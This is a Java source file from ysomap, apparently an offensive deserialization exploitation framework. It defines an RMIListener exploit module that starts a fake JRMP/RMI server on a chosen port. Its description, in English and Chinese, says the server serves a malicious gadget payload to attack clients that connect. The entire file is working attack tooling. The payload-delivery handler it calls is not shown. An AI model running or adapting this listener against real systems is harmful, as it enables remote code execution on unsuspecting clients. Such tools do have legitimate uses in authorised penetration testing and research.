package ysomap.exploits.rmi;

import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.rmi.component.FakeRMIHandler;

import java.io.IOException;

/**
 * @author wh1t3P1g
 * @since 2020/2/26
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"all gadgets"}, param = false)
@Details("Start up a RMI server with some payload.\n" +
        "建立一个带有恶意payload的RMI服务器，主要攻击外来连接的客户端。\n" +
        "需要设置一个payload，确定客户端可能存在的依赖后设置。")
public class RMIListener extends AbstractExploit {

    @NotNull
    @Require(name = "lport", type = "int", detail = "local port to start a RMI service")
    public String lport;

    @NotNull
    public Object payload;

    public String payloadName;

    public FakeRMIHandler handler;

    @Override
    public void work() {
        needRunning = true;
        try {
            Logger.success("Opening JRMP listener on " + lport);
            handler = new FakeRMIHandler(Integer.parseInt(lport), payload);
            handler.run();
        } catch (IOException e) {
            Logger.error("Listener error");
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        if(handler != null){
            handler.close();
            Logger.success("JRMP listener stopped");
        }
        status = Status.STOPPED;
    }

    @Override
    public String toString() {
        return "RMIListener{" +
                "lport='" + lport + '\'' +
                ", payload=" + payloadName +
                '}';
    }

}
